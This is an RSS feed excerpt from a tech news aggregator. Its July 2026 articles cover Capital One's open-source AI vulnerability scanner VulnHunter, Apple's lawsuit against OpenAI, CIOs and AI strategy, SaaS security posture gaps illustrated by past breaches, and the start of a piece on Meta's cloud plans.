</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Capital One releases VulnHunter, an open-source AI tool that finds software flaws before hackers do]]></title>
<description><![CDATA[Capital One on Thursday released VulnHunter, an open-source, agentic AI security tool that scans source code for exploitable vulnerabilities, maps out how an attacker would reach them, and proposes targeted fixes — all before a single line ships to production. The tool, built internally and now a...]]></description>
<link>https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677035/it-nachrichten/capital-one-releases-vulnhunter-an-open-source-ai-tool-that-finds-software-flaws-before-hackers-do/</guid>
<pubDate>Fri, 17 Jul 2026 23:02:38 +0200</pubDate>
<content:encoded><![CDATA[<p><a href="https://www.capitalone.com/">Capital One</a> on Thursday released <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a>, an open-source, agentic AI security tool that scans source code for exploitable vulnerabilities, maps out how an attacker would reach them, and proposes targeted fixes — all before a single line ships to production. The tool, built internally and <a href="https://github.com/capitalone/vulnhunter">now available on GitHub</a> under an Apache 2.0 license, is one of the most ambitious attempts by a major financial institution to turn offensive AI capabilities into a public defensive resource.</p><p>The move marks a striking philosophical turn for a company still defined, in many boardrooms, by a <a href="https://www.capitalone.com/digital/facts2019/">2019 data breach</a> that compromised the personal information of roughly 106 million people across the United States and Canada and ultimately cost the bank an <a href="https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html">$80 million federal fine</a>.</p><p>Capital One is not simply releasing another vulnerability scanner. VulnHunter introduces what the company calls an "<a href="https://github.com/capitalone/vulnhunter">attacker-first forward analysis</a>" — a workflow in which the tool begins at the points where a real adversary would enter a system, such as APIs, network messages, or file uploads, and reasons forward through the application's logic to determine whether an exploit path actually survives the code's existing defenses. Conventional scanners typically work in reverse, flagging a dangerous-looking code pattern and then searching backward for a hypothetical attacker. That approach, security practitioners widely acknowledge, buries engineering teams under avalanches of false positives.</p><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> attacks that problem head-on with a second innovation: a built-in "falsification engine" that tries to disprove its own findings before a developer ever sees them. After the tool surfaces a potential vulnerability, a structured reasoning workflow hunts for logical gaps, unsupported assumptions, and conditions that would prevent the attack from succeeding. Only findings the engine fails to rule out reach a human reviewer — and when they do, VulnHunter delivers not just an alert but a full explanation of the exploit path and a proposed code fix ready for engineering review.</p><p>The tool currently runs on Anthropic's <a href="https://www.anthropic.com/news/claude-opus-4-8">Claude Opus 4.8 model</a> inside a Claude Code environment, though Capital One says the framework has the potential to work across other foundation models and coding harnesses.</p><h2><b>The 2019 breach that reshaped how Capital One thinks about cybersecurity</b></h2><p>To understand why Capital One chose to open-source a tool this consequential, you have to understand the scar tissue.</p><p>On July 19, 2019, <a href="https://www.capitalone.com/digital/facts2019/">Capital One disclosed </a>that an outside individual — later identified as a former Amazon Web Services employee named Paige Thompson — had gained unauthorized access to names, addresses, self-reported income, Social Security numbers, and linked bank account numbers belonging to credit card customers and applicants. The breach, which Capital One says occurred on March 22 and 23, 2019, was discovered only after an external security researcher flagged a configuration vulnerability through the company's <a href="https://www.capitalone.com/digital/responsible-disclosure/">Responsible Disclosure Program</a> on July 17 of that year.</p><p>The damage was sweeping. Approximately <a href="https://www.npr.org/2019/07/30/746687015/100-million-people-in-the-u-s-affected-by-capital-one-data-breach">100 million people in the United States</a> and 6 million in Canada were affected. Roughly 140,000 Social Security numbers, about 80,000 linked bank account numbers, and approximately 1 million Canadian Social Insurance Numbers were compromised. The FBI arrested Thompson, and the government stated it believed the data had been recovered with no evidence of fraud. But the reputational and regulatory toll was enormous.</p><p>In August 2020, the Office of the Comptroller of the Currency <a href="https://www.occ.gov/news-issuances/news-releases/2020/nr-occ-2020-101.html">fined Capital One $80 million</a>, finding that the bank had failed to adequately identify and manage risks as it migrated significant technology operations to the cloud. As Reuters reported at the time, the OCC's consent order cited insufficient network security controls, inadequate data loss prevention measures, and a board that failed to hold management accountable when internal auditing surfaced problems. The OCC also ordered Capital One to overhaul its operations and submit new cybersecurity plans for regulatory review.</p><p>The incident became an industry case study in the dangers of moving fast with new technology. As <a href="https://cyberscoop.com/capital-one-hack-banking-security/">CyberScoop reported</a> in July 2019, a cybersecurity executive at a competing financial company observed that the breach "could be the result of trying too many new things and forcing them through." Capital One's own CEO, Richard D. Fairbank, acknowledged the gravity of the moment. "While I am grateful that the perpetrator has been caught, I am deeply sorry for what has happened," Fairbank said at the time. "I sincerely apologize for the understandable worry this incident must be causing those affected and I am committed to making it right."</p><h2><b>How Capital One rebuilt its security reputation through open-source investment</b></h2><p>What followed was not a retreat from technology but a doubling down — with security explicitly at the center.</p><p>Capital One had declared itself an "<a href="https://capitalonesoftware.com/blog/cloud-migration-journey">open-source first</a>" company in 2015 as part of a broader technology transformation that began over a decade ago. After the breach, the company accelerated its investments in software supply chain security, open-source governance, and AI-driven defense. In August 2022, Capital One joined the <a href="https://openssf.org/">Open Source Security Foundation</a> as a premier member, earning a seat on the organization's Governing Board. Chris Nims, then EVP of Cloud &amp; Productivity Engineering, framed the move as a natural extension of the company's operating philosophy. "As a highly-regulated company, we are seasoned in managing compliance and governance and advocate for standardization, automation and collaboration," Nims said in the <a href="https://openssf.org/press-release/2022/08/24/capital-one-joins-open-source-security-foundation/">OpenSSF announcement</a>.</p><p>Behind that public commitment lay a substantial operational apparatus. Capital One's <a href="https://www.capitalone.com/tech/open-source/">Open Source Program Office</a>, now in its third iteration, manages open-source usage, contributions, and community building across the enterprise. The company has released more than 25 open-source projects and made over 2,000 contributions to approximately 135 external open-source projects, according to the company's own disclosures. Those efforts address not just code dependencies but the entire software development lifecycle — DevSecOps tools, infrastructure, and the collaborative environments, both internal and external, that shape how software gets built and shipped.</p><p>Nureen D'Souza, the director who leads Capital One's OSPO, has spoken publicly about the philosophy underpinning this work. At cdCon 2022, D'Souza described a "company-wide culture with security ingrained" that allows developers to focus on innovation rather than maintenance chores, as <a href="https://sdtimes.com/os/how-capital-one-is-strengthening-the-software-supply-chain/">reported by SD Times</a>. The OSPO's charter emphasizes three pillars: standardization of open-source processes, automation of security policies throughout the delivery pipeline, and ecosystem sustainability through upstream contributions to the foundations and projects the company depends on.</p><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> is the most consequential product of that multi-year effort — and the clearest signal yet that Capital One views open-source collaboration not as charity but as a competitive security strategy. The company argues that modern software supply chains are so deeply interconnected that a single vulnerability in a widely used open-source component can cascade across thousands of enterprises simultaneously. Proprietary defenses, no matter how sophisticated, cannot address a problem that is fundamentally communal. By releasing VulnHunter under a permissive license, Capital One invites the global security research community to stress-test, extend, and improve the tool — effectively crowdsourcing its own defense infrastructure while strengthening the broader ecosystem.</p><h2><b>Inside VulnHunter's three-stage AI engine for finding exploitable code</b></h2><p>For engineering leaders evaluating <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a>, the technical architecture is where the tool's ambitions become concrete. The workflow unfolds in three distinct stages.</p><p>In the first stage — attacker-first forward analysis — VulnHunter begins at the points where an external adversary would interact with a system: API endpoints, network message handlers, file upload interfaces. From each entry point, the tool reasons forward through application logic, tracing data flows, transformations, and internal security checkpoints to determine whether an attacker can actually reach a dangerous code path. This approach mirrors how a skilled penetration tester would probe a system, but automates the process at a scale no human team could match.</p><p>The second stage is where VulnHunter departs most sharply from conventional scanners. After identifying a potential vulnerability, the falsification engine runs a structured reasoning workflow designed to disprove its own conclusion. It searches for assumptions that do not hold, logical gaps in the exploit path, and environmental conditions that would prevent an attack from succeeding. Findings that fail this internal challenge are discarded before any developer sees them. Capital One's explicit goal is to shift the developer's burden away from triaging false alarms — a perennial pain point that erodes trust in security tooling and slows development velocity.</p><p>In the third stage, vulnerabilities that survive the falsification engine trigger an evidence-backed remediation workflow. VulnHunter gathers supporting evidence across the codebase, maps the complete surviving exploit path, explains the defect and the specific capabilities an attacker would gain, and generates targeted code changes for engineering review. The output is not a generic advisory but a concrete, context-aware patch proposal.</p><p>Capital One says it validated VulnHunter internally before release, running it across thousands of repositories spanning tens of business areas. The company reports that the tool identified and remediated vulnerabilities with speed and efficiency that far exceeded what its teams previously achieved through manual triage.</p><h2><b>Why AI-powered attacks are forcing banks to rethink traditional cyber defenses</b></h2><p><a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> arrives at a moment when the cybersecurity landscape is shifting beneath the feet of every enterprise. Capital One's announcement frames the urgency in stark terms: advanced AI models have "dramatically lowered the barrier for bad actors to discover and exploit vulnerabilities in software," and the window before sophisticated AI attack capabilities become affordable and accessible to virtually every adversary is shrinking rapidly.</p><p>The company's own AI security researchers have been tracking these trends closely. At <a href="https://www.capitalone.com/tech/software-engineering/secon-2024/">NeurIPS 2024</a> in Vancouver, Capital One's team presented research and curated a list of nearly 100 papers spanning LLM safety, adversarial resilience, jailbreak attacks, and synthetic data generation. The papers they highlighted — including work on multi-agent defense frameworks, automated red-teaming, and guardrail classifiers — paint a picture of an arms race in which offensive and defensive AI capabilities are co-evolving at breakneck speed.</p><p>Several of those research themes map directly onto VulnHunter's architecture. The falsification engine echoes the adversarial defense strategies explored in papers like "<a href="https://pure.psu.edu/en/publications/backdooralign-mitigating-fine-tuning-based-jailbreak-attack-with-/fingerprints/?sortBy=alphabetically">BackdoorAlign</a>," which demonstrated that embedding a structured safety mechanism into a small number of training examples could recover a model's safety alignment without degrading performance. The attacker-first forward analysis reflects the philosophy of "<a href="https://arxiv.org/html/2406.18510v1">WildTeaming</a>," a framework that collects and analyzes real-world jailbreak attempts to build more resilient models. And VulnHunter's emphasis on minimizing false positives parallels the goals of "GuardFormer," a guardrail classifier that outperformed GPT-4 on safety benchmarks while running 14 times faster.</p><p>The thread connecting all of this work is a conviction that traditional, reactive security — monitoring networks, patching known vulnerabilities, responding to incidents after they occur — is no longer sufficient when adversaries can use AI to discover and exploit zero-day vulnerabilities at machine speed. The only durable defense, Capital One argues, is to find and fix the vulnerabilities in your own code before attackers find them first.</p><h2><b>What Capital One's cloud security journey reveals about the entire banking industry</b></h2><p>Capital One's arc from breach victim to open-source security contributor also illuminates a broader reckoning across financial services. When Capital One <a href="https://www.latimes.com/business/story/2019-07-30/capital-one-cloud-safety-hacker-breach">moved aggressively to Amazon Web Services</a> in the mid-2010s, it was a rarity among major banks. Most financial institutions simply did not trust third parties to store their most sensitive data. Capital One's CIO at the time, Rob Alexander, <a href="https://www.forbes.com/sites/peterhigh/2016/12/12/how-capital-one-became-a-leading-digital-bank/">publicly championed the cloud</a> as more secure than the bank's own data centers — a claim that the 2019 breach complicated considerably.</p><p>The <a href="https://cyberscoop.com/capital-one-hack-banking-security/">CyberScoop report</a> from that period captured the tension within the industry. W. Patrick Opet, managing director of cybersecurity at JP Morgan Chase, described a cultural shift in banking from prioritizing traders to prioritizing developers: "Now, it's 'Focus on the developer, turn everything into code, and automate everything.'" Mark Nicholson, Deloitte's cyber leader for the financial industry, noted that the pressure to move quickly was exposing "weaknesses in the development methodology." And the breach itself was a reminder that even as Chase spent $600 million annually on cybersecurity, relatively simple vulnerabilities — like the Apache Struts bug that enabled the Equifax breach — could undercut massive investments in data protection.</p><p>Seven years later, the industry has largely followed Capital One into the cloud, and the security challenges have only intensified. The question is no longer whether to use cloud infrastructure but how to secure the software that runs on it. VulnHunter represents Capital One's answer: rather than relying solely on network-level controls and perimeter defenses, push security directly into the code itself, at the moment it is written. The open-source release also carries implicit competitive pressure. If VulnHunter gains traction among developers and security teams, it could set a new baseline for what enterprise security tooling is expected to do — and force rival banks, fintechs, and cloud providers to match or exceed its capabilities.</p><p>Whether <a href="https://github.com/capitalone/vulnhunter">VulnHunter</a> lives up to that ambition will depend on adoption, community engagement, and the tool's real-world performance against the increasingly sophisticated AI-powered attacks it was designed to counter. But the release itself tells a story that extends well beyond any single tool or any single company. In 2019, a misconfigured firewall exposed 100 million records and turned Capital One into a cautionary tale about the cost of moving fast without moving carefully. In 2026, the same institution is open-sourcing the kind of AI-driven defense it wishes it had built sooner — and betting that the best way to protect its own code is to help the entire industry protect theirs.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Apple’s big lawsuit could disrupt OpenAI’s IPO plans]]></title>
<description><![CDATA[Apple filed a trade secrets lawsuit against OpenAI last Friday, and it’s not messing around. The complaint alleges a pattern of misconduct reaching all the way up to OpenAI’s chief hardware officer and claims more than 400 former Apple employees now work at the company. OpenAI’s response so far h...]]></description>
<link>https://tsecurity.de/de/3676747/ai-nachrichten/how-apples-big-lawsuit-could-disrupt-openais-ipo-plans/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676747/ai-nachrichten/how-apples-big-lawsuit-could-disrupt-openais-ipo-plans/</guid>
<pubDate>Fri, 17 Jul 2026 19:47:23 +0200</pubDate>
<content:encoded><![CDATA[Apple filed a trade secrets lawsuit against OpenAI last Friday, and it’s not messing around. The complaint alleges a pattern of misconduct reaching all the way up to OpenAI’s chief hardware officer and claims more than 400 former Apple employees now work at the company. OpenAI’s response so far has been carefully hedged, and the timing couldn’t be worse with the company reportedly eyeing an IPO […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Why technology leaders are losing the AI conversation to the people who report to them]]></title>
<description><![CDATA[I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference...]]></description>
<link>https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675833/it-nachrichten/why-technology-leaders-are-losing-the-ai-conversation-to-the-people-who-report-to-them/</guid>
<pubDate>Fri, 17 Jul 2026 13:03:31 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I keep seeing a version of the same scene. A CEO has a question about AI. It is a real question, the kind that will shape where the company spends the next two years. The CEO does not bring it to the CIO. They bring it to a data leader two levels down, or to a vendor who presented at a conference, or to an AI specialist a board member recommended. The CIO finds out the strategy is forming when a slide shows up that they did not build. By then, the direction is already half-set, and the CIO is being asked to react to it rather than shape it.</p>



<p class="wp-block-paragraph">I want to be precise about what is happening, because it is easy to misread. The CIO has not been removed from anything. Title intact, budget intact, seat at the table intact. What has changed is quieter. On one of the most consequential technology conversations the company will have this decade, the CIO is being routed around. The work still flows through them eventually. The thinking no longer starts with them.</p>



<p class="wp-block-paragraph">I have watched this happen to capable people who would have given the CEO a better answer than the person who was asked. That is what makes it worth naming. This is not a competence gap. It is a positioning gap, and positioning gaps close in the wrong direction if you ignore them long enough.</p>



<h2 class="wp-block-heading">How the routing actually starts</h2>



<p class="wp-block-paragraph">The routing does not begin with a decision to exclude anyone. It begins with a CEO who is anxious about AI and looking for someone who sounds certain. AI is moving fast enough that executives feel the pressure to have a point of view before they have earned one. That pressure usually arrives secondhand, from a board member or a peer on the golf course describing what is working at their company. So the CEO goes looking for someone who will confirm the answer they already want to hear, and they keep going back to whoever gives it to them.</p>



<p class="wp-block-paragraph">Here is where many technology leaders lose the thread. For years, the safe posture in the CIO seat was measured caution. You raised the risks, you flagged the integration cost, you asked who owns the data and what the compliance exposure looks like. That posture built credibility in an era when the failure mode was moving too fast on technology nobody understood. With AI, the same posture reads as drag. A CEO who is being told by three vendors that “the future is already here” does not want to hear why they should slow down and be cautious. They hear caution as losing the race, and they go find a point of view somewhere else.</p>



<p class="wp-block-paragraph">The data leaders, vendors and specialists who get the call are not necessarily more capable. They are more available with a confident answer. A vendor’s whole job is to arrive with conviction. A data scientist who has shipped one impressive model carries more apparent authority on AI, in that moment, than a CIO who runs the entire estate but talks about AI the way they talk about every other risk. The CEO is not weighing depth against depth. They are weighing the person who said yes against the person who said it depends.</p>



<p class="wp-block-paragraph">Once that pattern sets, it compounds. The CEO who got a satisfying answer from the data leader goes back to the data leader. The vendor who shaped the first conversation gets invited into the second. Each loop the CIO is not in makes the next one easier to run without them. The org chart still says the CIO owns technology strategy. The actual conversation has relocated.</p>



<h2 class="wp-block-heading">What it costs before anyone notices</h2>



<p class="wp-block-paragraph">The cost shows up late, which is exactly why it is dangerous. For a while nothing looks broken. The CIO is still delivering. The AI initiatives are still landing on their plate to execute. The damage is happening upstream, in the room where the bets get made, and the CIO is not in that room.</p>



<p class="wp-block-paragraph">I have seen what arrives downstream when the strategy was set without the person who has to run it. A model gets championed that the data cannot actually support. A vendor commitment gets made that locks the company into an architecture the CIO would have flagged in the first meeting. An agent gets deployed inside a business unit, with executive blessing, and the CIO inherits accountability for it months later without ever having shaped how it was governed. The recent IBM finding that <a href="https://www.cio.com/article/4182288/cios-are-being-held-accountable-for-ai-they-dont-fully-control-ibm-study-finds.html">CIOs are increasingly held accountable for AI they do not fully control</a> is the visible end of this. The invisible front end is the conversation the CIO was routed around, the one where the accountability got created in the first place.</p>



<p class="wp-block-paragraph">What I find most corrosive is what it does to the CIO’s standing over time. Every initiative the CIO executes but did not shape reinforces a story about what the CIO is for. They become the person who runs the technology other people decided on. That is a fine description of an order taker and a poor description of a strategic leader, and CEOs do not promote, fund, or defend order takers when budgets tighten. The routing-around does not just cost the company a worse AI strategy. It quietly recasts the CIO as the implementer of everyone else’s thinking, and that recasting is hard to reverse once the executive team has internalized it.</p>



<h2 class="wp-block-heading">What the leaders who stayed in the conversation did</h2>



<p class="wp-block-paragraph">The technology leaders I have watched hold their position on AI did one thing first. They stopped leading with caution and started leading with a point of view. Not a reckless one. A real, defensible position on where AI creates value in their specific business and where it does not, delivered with the same conviction the vendors bring, before the CEO went looking elsewhere for it. They made themselves the person with the clearest answer, which is the role the routing-around was filling with someone else.</p>



<p class="wp-block-paragraph">That requires giving up a posture that felt safe for a long time. The CIOs who made the shift accepted that on AI, being right and cautious is worth less than being early and directional. They formed a view ahead of being asked. They walked into the CEO’s office with where we should place our AI bets and why, rather than waiting to be handed someone else’s bets to pressure-test. The difference is whether you are the author of the strategy or its editor, and CEOs route around editors.</p>



<p class="wp-block-paragraph">They also changed how they talk about risk. Instead of presenting risk as the reason to slow down, they folded it into the recommendation. The data is not ready for that use case, so here is the use case where it is ready, and here is what we do in parallel to unlock the first one. That framing keeps the CIO inside the conversation as the person making AI happen responsibly, rather than the person standing outside it explaining why it is hard. Same expertise, opposite effect on whether the CEO keeps coming back.</p>



<p class="wp-block-paragraph">None of this is about pushing the data leaders and specialists out. The strongest CIOs I know pulled those people closer and brought them into the room under their own framing, so that when the CEO wanted the specialist’s input, it arrived through the CIO rather than around them. They made themselves the orchestrator of the AI conversation instead of one of its casualties.</p>



<p class="wp-block-paragraph">If you are a technology leader right now, the question worth sitting with is not whether you are good at AI. You probably are. The question is whether the most important AI conversations in your company are still starting with you, or whether you have quietly become the person they get handed to after the thinking is done. That answer is set in rooms you may not be in, and the only way to find out is to ask who your CEO called the last three times AI came up. If the answer is not you, the role is still yours. The conversation has already started leaving.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The SaaS blind spot: Why security teams can’t get inside their own apps]]></title>
<description><![CDATA[Most organizations I work with have invested heavily in cloud security. They have endpoint detection tools, SIEM platforms, cloud security posture management, and skilled security teams running on a 24/7 shift. And yet, when I ask them a simple question — who has admin access in your Salesforce t...]]></description>
<link>https://tsecurity.de/de/3675559/it-security-nachrichten/the-saas-blind-spot-why-security-teams-cant-get-inside-their-own-apps/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675559/it-security-nachrichten/the-saas-blind-spot-why-security-teams-cant-get-inside-their-own-apps/</guid>
<pubDate>Fri, 17 Jul 2026 11:09:43 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Most organizations I work with have invested heavily in cloud security. They have endpoint detection tools, SIEM platforms, cloud security posture management, and skilled security teams running on a 24/7 shift. And yet, when I ask them a simple question — who has admin access in your Salesforce tenant right now? — The room goes quiet. Nobody knows. Not because they are negligent. Because they genuinely cannot see it.</p>



<p class="wp-block-paragraph">That is the SaaS blind spot.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Figure-1-The-Blind-Spot-and-what-SSPM-covers.png?w=1024" alt="Figure 1: The Blind Spot and what SSPM covers" class="wp-image-4197928" width="1024" height="417" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 1: The Blind Spot and what SSPM covers.</em></figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h2 class="wp-block-heading"><a></a>SaaS: Numbers speak volumes</h2>



<p class="wp-block-paragraph">I ask this question in almost every engagement: how many SaaS applications does your organization run? The answers I get range from 30 to maybe 50. The real number, once someone counts, is usually north of three hundred. <a href="https://appomni.com/press-releases/new-state-of-saas-security-report-2024/">AppOmni’s 2024 research</a> put it even higher — 49% of Microsoft 365 organizations believed they had fewer than ten apps connected to their tenant when the actual average was over a thousand.</p>



<p class="wp-block-paragraph">Here is the part that concerns me more than the count. Of all those applications, security teams have clear sight into maybe one in 10. The rest — where your customer records live, where your source code sits, where your financial reports get shared — nobody is watching. Not because the team is careless. Because the tools they have were never built to look there.</p>



<p class="wp-block-paragraph">The following incidents will discuss these realities.</p>



<h3 class="wp-block-heading"><a></a>Salesforce in 2023</h3>



<p class="wp-block-paragraph">In April 2023, <a href="https://krebsonsecurity.com/2023/04/many-public-salesforce-sites-are-leaking-private-data/">KrebsOnSecurity</a> broke the story — Salesforce Community sites were quietly leaking sensitive data belonging to government agencies, banks, and healthcare providers. No sophisticated attack technique. Just the right API endpoint and a misconfigured guest user profile. The exposed records included Social Security numbers, account details, and home addresses. Salesforce was clear in its response: this was not a platform vulnerability. Administrators had misconfigured guest access policies, and nobody had checked.</p>



<p class="wp-block-paragraph">Guest user profiles in Salesforce Communities can be granted access to data records. When administrators set those permissions too broadly — often without realizing it — unauthenticated external users can query that data straight through the API. Over 150,000 companies were potentially sitting in that window before anyone raised the alarm.</p>



<p class="wp-block-paragraph">The pattern is always the same. Configuration made under time pressure, default set slightly too permissive, nobody looks at it again. SaaS applications accumulate these quiet exposures over months and years.</p>



<h3 class="wp-block-heading"><a></a>GitHub in 2022</h3>



<p class="wp-block-paragraph">In April 2022, <a href="https://github.blog/news-insights/company-news/security-alert-stolen-oauth-user-tokens/">GitHub disclosed</a> that an attacker had used stolen OAuth tokens — issued to Heroku and Travis CI — to access and download private repository contents from dozens of organizations, including npm. GitHub’s own systems were never touched. The tokens came from third-party applications that users had authorized to connect to their accounts, and those applications had been quietly compromised.</p>



<p class="wp-block-paragraph">The entry point was not GitHub. It was not even the organizations that lost their data. It was the CI/CD tools those organizations had connected to GitHub months or years earlier — tools that had been granted broad read and write permissions that were never revisited.</p>



<p class="wp-block-paragraph">That is the OAuth problem in plain terms. The moment you authorize a third-party application; its security posture becomes your problem too. Most organizations have dozens of these connections sitting open across their SaaS platforms — and no one reviewing them.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="496" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;<figcaption class="wp-element-caption"><em>Figure 2: The 2022 GitHub breach chain.</em></figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h3 class="wp-block-heading"><a></a>Microsoft in 2023</h3>



<p class="wp-block-paragraph">The Microsoft case from 2023 is the one I bring up when people assume this only happens to careless organizations. <a href="https://www.wiz.io/blog/38-terabytes-of-private-data-accidentally-exposed-by-microsoft-ai-researchers">Wiz Research</a> found that Microsoft’s own AI team had exposed 38TB of internal data — private keys, passwords, and more than 30,000 internal Teams messages — through a single misconfigured Azure access token. The token was supposed to share one training dataset on GitHub. Instead, it opened an entire storage account to anyone who found the link.</p>



<p class="wp-block-paragraph">What gets me about this one is the timeline. That token had been sitting there since October 2021. Nearly two years, inside Microsoft, before anyone caught it. If a team with that level of resources and expertise can leave a door open for two years, the idea that “we’d notice” is not much of a security strategy. And it’s worth noting — this wasn’t a database leak. It was Teams messages. The same collaboration tools your employees use every day are just as exposed as the platforms holding structured records.</p>



<h2 class="wp-block-heading"><a></a>Why traditional security tools miss this</h2>



<p class="wp-block-paragraph">Cloud Security Posture Management tools — CSPM — are designed to monitor infrastructure configuration: virtual machines, storage buckets, network rules, and IAM policies at the infrastructure level. They do an acceptable job at that layer. What they do not do is look inside SaaS applications. <a href="https://www.cisa.gov/resources-tools/services/secure-cloud-business-applications-scuba-project">CISA’s Secure Cloud Business Applications (SCuBA) guidance</a> specifically calls out the gap between infrastructure security tools and SaaS-layer visibility as one of the most under addressed areas in enterprise cloud security.</p>



<p class="wp-block-paragraph">This is the gap SSPM was built to close. Instead of watching infrastructure, it watches the configuration of the SaaS applications themselves — permissions, sharing settings, who has access to what. And the distinction is not just academic. Infrastructure misconfigurations tend to expose systems. SaaS misconfigurations tend to expose data — directly, quietly, and often without any detectable attack activity at all.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Figure-3-The-six-core-visibility-capabilities-of-SSPM.png?w=1024" alt="Figure 3: The six core visibility capabilities of SSPM" class="wp-image-4197926" width="1024" height="567" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Figure 3: The six core visibility capabilities of SSPM</em>.</figcaption></figure><p class="imageCredit">Ashish Mishra</p></div>



<h2 class="wp-block-heading"><a></a>What security teams should do now</h2>



<p class="wp-block-paragraph">You do not need to deploy a full SSPM platform tomorrow to start closing the gap. There are practical steps that move the needle immediately.</p>



<ul class="wp-block-list">
<li>Audit connected OAuth applications across your primary SaaS platforms. Revoke any integration that cannot be justified by a current business need.</li>



<li>Common source of public data exposure: Review guest and external sharing permissions in Salesforce Communities and Microsoft SharePoint.</li>



<li>Check whether legacy authentication protocols are disabled in Microsoft 365. Legacy auth bypasses MFA and becomes a potential entry point in enterprise environments.</li>



<li>Establish a quarterly access review for high-privilege accounts in SaaS applications. Most organizations run annual reviews at best — that is not frequent enough for platforms that change configuration daily.</li>



<li>A map of which SaaS applications hold sensitive data, and which have no security team ownership at all. That list will be longer than you expect.</li>
</ul>



<p class="wp-block-paragraph">The core issue is not that organizations are careless. It is that they have built security programs around the perimeter and the infrastructure, and SaaS applications grew up inside that perimeter without ever being brought into scope. The data is there. The access is there. The misconfiguration is often there too. What has been missing is the visibility to see it.</p>



<p class="wp-block-paragraph">SSPM closes that gap. But even before a formal tool is in place, simply asking the question — what can the applications we already run see and share? — is a meaningful first step. In my experience, the answer surprises almost every organization that takes the time to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Can Meta really compete in the cloud business?]]></title>
<description><![CDATA[Meta is reportedly planning a cloud business that would sell access to AI computing power and models, extending its internal infrastructure into a commercial service for outside developers and enterprises. Reuters, citing Bloomberg’s reporting, noted that the planned offering would allow customer...]]></description>
<link>https://tsecurity.de/de/3675548/ai-nachrichten/can-meta-really-compete-in-the-cloud-business/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675548/ai-nachrichten/can-meta-really-compete-in-the-cloud-business/</guid>
<pubDate>Fri, 17 Jul 2026 11:04:14 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.bloomberg.com/news/articles/2026-07-01/meta-is-building-a-cloud-business-to-sell-excess-ai-compute">Meta is reportedly planning a cloud business</a> that would sell access to AI computing power and models, extending its internal infrastructure into a commercial service for outside developers and enterprises. Reuters, citing Bloomberg’s reporting, noted that the planned offering would allow customers to access AI models hosted on Meta’s infrastructure and pay based on usage, effectively positioning the company in the <a href="https://www.infoworld.com/article/2255598/what-is-iaas-your-data-center-in-the-cloud.html">infrastructure-as-a-service</a> and AI platform markets. On the surface, this seems like a logical next step. If you are already spending enormous amounts of money to build AI infrastructure, there is a natural temptation to ask whether some of that investment can be monetized beyond your own internal use.</p>



<p class="wp-block-paragraph">I have seen this pattern before. A company builds sophisticated internal systems, recognizes their value, and then begins to imagine that becoming a cloud provider is simply a matter of exposing those capabilities to external customers. It sounds straightforward, especially given the excitement around AI and the demand for high-performance infrastructure. But cloud computing is not just another distribution model. It is not simply a matter of offering on-demand multitenant services and charging a fee. It is a deeply operational, trust-based business in a market that punishes companies that do not fully understand what enterprise customers require.</p>



<h2 class="wp-block-heading">A crowded neocloud market</h2>



